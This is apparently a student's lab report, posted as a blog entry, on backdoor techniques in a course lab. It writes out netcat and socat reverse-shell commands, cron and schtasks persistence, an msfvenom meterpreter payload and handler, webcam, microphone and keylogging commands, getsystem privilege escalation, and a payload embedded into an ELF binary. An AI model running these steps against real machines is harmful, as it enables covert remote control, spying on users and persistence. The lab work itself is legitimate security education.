20232422 2025-2026-1 《网络与系统攻防技术》实验二实验报告

后门原理与实践

1.1实验内容

这次的实验主要练了几种获取主机操作权限和收集信息的方法。先是用netcat配合Linux的cron定时任务,还有socat搭配系统任务计划,分别搞到了主机的操作Shell,拿到了控制主机的入口。然后用MSF的meterpreter生成可执行文件,通过ncat或者socat传到目标主机上运行,也成功拿到了Shell。接着还试了用它获取主机里的音频、调用摄像头、记键盘敲击记录这些信息,顺便试着把权限从普通用户提到更高权限。最后结合之前接触过的pwn1程序,用MSF生成shellcode注入进去,触发漏洞后让主机主动连回来,拿到了反弹Shell。

2.实验过程

2.1使用netcat获取主机操作Shell,cron启动

1.查看IP地址
获取主机IP地址:打开cmd,输入ipconfig。查询到本机ip地址为172.16.245.13
7aaefb37876325d72b38524556604dd2

获取虚拟机IP地址:打开虚拟机,进入命令行窗口,输入ifconfig。查询到虚拟机IP地址为192.168.9.129
c7e50faaffa9621afed96f2892973837
2.windows获取Shell
进入ncat所在文件地址,主机cmd窗口主机输入ncat.exe -l -p 8888.监听8888端口,等待其他机器连接该端口。
在虚拟机命令行终端输入命令nc (windows主机的IP地址) 8888 -e /bin/sh。-e表示反向连接Windows。反弹连接Windows,提供自己的shell
在主机cmd窗口输入ls。
以上操作使windows获得了虚拟机的shell,可以执行虚拟机的相关命令。
d3dffb7c97d8b1dd5fe0d3872ec651f5
a897145c1c0981fc55a0268aeaa065b7
3.设置cron使kali启动定时任务
crontab -e在虚拟机上编写一条定时任务,让反弹连接定时启动。
输入2表示选择vim编辑器
a1d7ae6329b6791d9df9c490abb681f3
进入vi文本编辑器之后,按i进入编辑模式,在最后一行打上50 * * * * /bin/netcat 192.168.1.107 8888 -e /bin/sh表示在每个小时的第50分钟时反向连接windows主机的8888端口,就会启动cron
按ESC键退出编辑模式,输入:wq保存退出
image
输入crontab -l查看时程表
ncat.exe -l -p 8888在主机cmd中监听8888端口,等待kali机中定时反向连接的启动。在第50分钟之前输入 ls 指令,屏幕上并无显示,当时间到了,此时已经获得了shell,就显示内容8ce8c8385ab1125c8a5a379ef7e10d27

2.2使用socat获取主机操作Shell, 任务计划启动

1.事先准备一个简单程序来运行(文件路径和内容如下)
bc7b6045c58fbee9bf454803c4f7ba7b
65fd7ca2c4dbc19ea6efbb20c945279a
2.主机:输入socat.exe tcp-listen:8888 exec:cmd.exe,pty,stderr
4308c6ebb23bf3166253932898568d0d
虚拟机进入root用户,输入socat STDI0 tcp:172.20.10.3:8888,此时Linux监听中cfacb39bc409c7204acbfb47c35c7f71
虚拟机命令窗口输入schtasks /create /sc minute /mo 1 /tn "20232422lhr" /tr D:\c\lhr.exef60d84b4730e0efb13bc53733a2a0517

打开主机计算机管理,看见20232422lhr,即实验成功462c6e44c2cd08055b32de763f04c6b4

2.3使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

1.生成后门
虚拟机命令窗口输出
msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=8888 -f exe > 2422bdoor.exe
这里设置的主机IP为虚拟机的IP
LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP
LPORT是回连端口
p 使用payload,payload翻译为有效载荷,就是被运输有东西。
windows/meterpreter/reverse_tcp是一段shellcode
f 生成文件的类型:exe
“>” 输出文件名:2422bdoor.exe5502d7f8b78cd1921e4688ccb6a3f099
2.将后门文件传输至目标主机
主机进入ncat所在的目录下,输入
ncat.exe -lv 8888 > "D:\0neDrive\桌面\2422bdoor.exe"在Windows上监听8888端口等待接收可执行文件2422bdoor.exe
90d6c465c20f0174f1f3dca6a1171de5
在虚拟机上输入指令nc 192.168.1.107 8888 < 2422bdoor.exe。在虚拟机上将生成的2422bdoor.exe传送给Windows193e8ea7ece6e9c3fc1ea4775a6beaa0

在主机上成功找到2422bdoor.exe我们设置的后门文件。0bf132cddff0e685bf07cd86edb4ed00
3.进入msf控制台进行配置监听模块
回到虚拟机,在Kali终端输入命令msfconsole,然后对监听模块进行配置:
use exploit/multi/handler(使用监听模块,设置payload)
set payload windows/meterpreter/reverse_tcp (使用和生成后门程序时相同的payload)
set LHOST 172.20.10.3 (攻击机的IP地址,和生成后门程序时指定的IP相同)
set LPORT 8888(监听的端口)
接着输入exploit,使监听模块开始运行
并在Windows终端运行后门2422backdoor.exe文件ee37b6c7420813a82f982eb4d7b15952
返回检查虚拟机,输入ls查看windows主机目录,确认已经连接,得到了远程控制的shell。ea8617c74c4e746a9e69b7a979cd8d7c

2.4使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权

1.获取目标主机音频、截屏、摄像头、键盘记录
在exploit模块中继续输入以下命令:
record_mic   (音频)
screenshot   (截屏)
webcam_snap (拍照)
keyscan_start (开始读取键盘记录)
keyscan_dump (读取键盘记录结束)
76636362e7217261f7a67efe6c1d05d3
拍照显示如下:
9134a77b8d74f4d8a48d14bd308f4e3c
19a30351c0d6800e23d7a6580b8f699c
f597b3487472b4fcc94bb0796c48692d
9f86fd534658966bb6b75817a6816613
2.提权
确保windows的cmd指令是使用管理员身份运行的,继续在exploit模块中继续输入:
getuid (查看当前用户)
getsystem (提权指令)
a51892a3a8eb6403c2fc2febf81ac76d

2.5使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=8888 -x /mnt/hgfs/20232422/pwn1 -f elf > 2422_pwn 生成以pwn1模板这个elf文件格式的shellcode文件2422_pwn
执行文件之前先加权限,对生成的2422_pwn文件赋予权限chmod a+x 2422_pwn,并且输入指令msfconsole,重现监听过程
981ce1b8223570924fd2dd78852f8ef6
打开另一个shell,运行生成的2422_pwn文件
c8ebbfbadb6a2afc2b27669774809182
回到第一个shell,输入ls确认连接,成功实现远程控制shell
f60fc97450addfbf22131b9cff34df43

3.问题及解决方案

  • 问题1:刚开始主机没有用管理员模式导致后续实验在提权那一步进行不下去
  • 问题1解决方案:提权权限不够需要我们使用管理员身份运行该文件。主机搜索命令提示符,点击以管理员身份运行即可。
  • 问题2:MSF meterpreter生成后门文件不被windows主机识别,报错“此应用无法在你的电脑上运行”
  • 问题2解决方案:修改msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=8888 -f exe > 2422bdoor.exe代码,加入字段“-a x86 --platform ”指x86的32位构架进行传输。即输入命令为msfvenom -a x86 --platform -p windows/meterpreter/reverse_tcp LHOST=172.20.10.3 LPORT=8888 -f exe > 2422bdoor.exe

4.学习感悟、思考等

在实验过程中,我学习到了多种获取主机 Shell 的方法,如使用 netcat、socat 和 MSF meterpreter。它们展示了黑客可能入侵系统的途径,让我对网络安全有了更直观的认识,也提醒我在日常使用计算机和网络时要时刻保持警惕。
还学习了Meterpreter 的功能,它能够获取目标主机的音频、摄像头和击键记录等内容,这让我意识到个人隐私在网络世界中面临着巨大的风险。提权也让我明白,一旦系统被入侵,攻击者可以会进一步扩大他的控制范围。让我学到我们在工作学习生活中要学会预防后门攻击。

posted @ 2025-10-22 19:34  20232422龙浩然  阅读(1)  评论(0)    收藏  举报